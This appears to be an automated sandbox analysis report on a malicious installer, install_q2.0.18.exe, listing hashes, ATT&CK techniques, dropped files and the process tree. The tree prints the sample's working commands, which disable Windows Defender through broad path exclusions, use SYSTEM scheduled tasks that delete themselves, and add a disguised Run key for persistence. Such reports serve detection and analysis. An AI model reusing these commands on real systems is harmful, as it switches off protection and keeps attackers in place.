Analysis
- max time kernel
145s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/09/2026, 20:53
Static task
static1
Behavioral task
behavioral1
Sample
install_q2.0.18.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_q2.0.18.exe
Resource
win11ltsc2024-20260709-en
General
- Target install_q2.0.18.exe
- Size 25.4MB
- Sample260903-zpp2qawbme
- SHA256 d0d580e73af5913a8100fb5d79e2c919aafd4e4403ac5309b835b4e1e149c0ba
- MD5 be08c84858b0880ebb5441fceb5ce680
- SHA1 60df39a209c27dfa33c2c77865943cabe4cd46e8
- SHA512 7e44daac982f966e94dd97979e3974ce319f55b825cbb4f1e35817fa8bd05065d2272ed0f435beab555c56c45dc640696152a4bd9163bf85ef86070bcb1e6aaf
- SSDEEP 49152:YKL3W0A0vr9cusmglhowk8s0nHQh6/q/5ci7CbaZk9t5BCHqO3eu/1fef/h5B46k:djAIMaQi7kmeHh2yeH7rkfvVsX+N0
- TLSH T14047E6117317E99DE1B753BA048B0F50F725E8B41970977323B8916C5FEAB0CBAB2924
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4204 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 5516 JwAQGZ.exe - Loads dropped DLL 1 IoCs
pid Process 5516 JwAQGZ.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\xWbIG9\\JwAQGZ.exe\"" JwAQGZ.exe - Indicator Removal: Clear Persistence 1 TTPs 4 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2240 cmd.exe 1884 cmd.exe 4896 cmd.exe 4784 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b JwAQGZ.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3056 cmd.exe 4148 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 748 schtasks.exe 1160 schtasks.exe 1520 schtasks.exe 2136 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 1692 install_q2.0.18.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe 5516 JwAQGZ.exe - Suspicious behavior: LoadsDriver 5 IoCs
pid Process 808 Process not Found 808 Process not Found 808 Process not Found 808 Process not Found 808 Process not Found - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe"C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1692
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C:\Users\Public\xWbIG9\JwAQGZ.exe"C:\Users\Public\xWbIG9\JwAQGZ.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:5516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:4204
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xWbIG9\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:1884 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xWbIG9\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1520
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4072
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4284
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:4896 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2136
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1948
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5916
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:4784 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:748
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4108
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:2240 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1160
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C:\Users\Public\xWbIG9\JwAQGZ.exe"C:\Users\Public\xWbIG9\JwAQGZ.exe"1⤵PID:2700
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\xWbIG9" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:3056
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4568
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4148
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
- Size 1KB
- SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
- MD5 b15dfb1600ace7f0c686862d26b733ad
- SHA1 3bfa41f3ea756f0377dbc2900736ca74c8d42702
- SHA512 3d261c2965f608b6af5490e10522db148140bb73a1332a132742db0d4c78783c93273c594e2465011a2062a043e0027281f6062f90aff584fc603162bd1d79fd
- TLSH T1A831B04EA2053023DA49BF72D8CE7E83CDB0374BABCAD45B19445E4229AAFC25FC40C5
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
- Size 186B
- SHA256 fee39636d5e1440c0a8361e0d69d86e10ff99da75ae79a93ac4b3b205cb00f46
- MD5 67ec5b09abc5e83e7f94ee9cef5ab9b5
- SHA1 a211a34823ca947e4162f56487cb2b7c946d830c
- SHA512 96b53297b6cf8fabcbbea19cabf279739017e2af7e0c390e8bf3820d1b59b2cfc08458788fb8efdee960d7386545a6fbe98e941e478ad9d71ebaab003b981746
- TLSH T15EC04C94537C4358F075693E6D914AE19F7F5D1AB512C3650B75424C8878A100832A26
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Public\xWbIG9\JwAQGZ.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xWbIG9\UxEnhance64.dll
- Size 3.1MB
- SHA256 fd7f081cc0630ef5361a88cf5e949b8b5432669c08e4e7f646ce60b6eda9768d
- MD5 edc178a3f92fe09e51bc6d7c769c547a
- SHA1 35c63e10e01c3946324251306bb517f47fddf565
- SHA512 72585ee9382ed76585ec415bbd95617c8810fd1e9f856ec984e94c4ad90e58c1e99a9129861344f8ed213a48fb1be4c1961e5d453ea32f4a43111191dc968869
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB++:P9m29xx3Tiqt06ox6+z2rNNrKo+
- TLSH T1F9E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xWbIG9\adoresd.dat
- Size 4.7MB
- SHA256 1862f9d28846cdb7632050591dbb8490bda35d8c12e5a35f664b532feb0b3563
- MD5 a2a59689185e6dfa22eb4587db4b4f17
- SHA1 513b1cd6aebc667d28aad4f0b2d5f5e7a4050ca1
- SHA512 ffcb69d24b334c8ee7e0427a329c359ec2a307e2541cd32a699f904c168de38cb6aefcdc1bb7a2e9c53ff31e010165a74caf5f35edc625fbff8eec1ab19e8436
- SSDEEP 98304:VKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:VKClqhi0Cv54K2IVS0VQg
- TLSH T1853633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xWbIG9\msadox.tb
- Size 8KB
- SHA256 92f6278a214047db00129451f7e8ddc771597c37efc393b6ae9f6f3e183d31e6
- MD5 5c5456d5456a11af49fb071c0abb6073
- SHA1 80ab103fcfd0e3770c98f747d719a121d6e25587
- SHA512 59cf4807b4f3e53e299123a3ab892f20a198d50625606c36ce39a853e9a33565de7a66fbb7fe71f4f4a970c6db65281684a464dedfc2e96aa24fffbb48b31d29
- SSDEEP 192:vqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:vsZqZOXQ3uqvR2Kfzp
- TLSH T10D029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH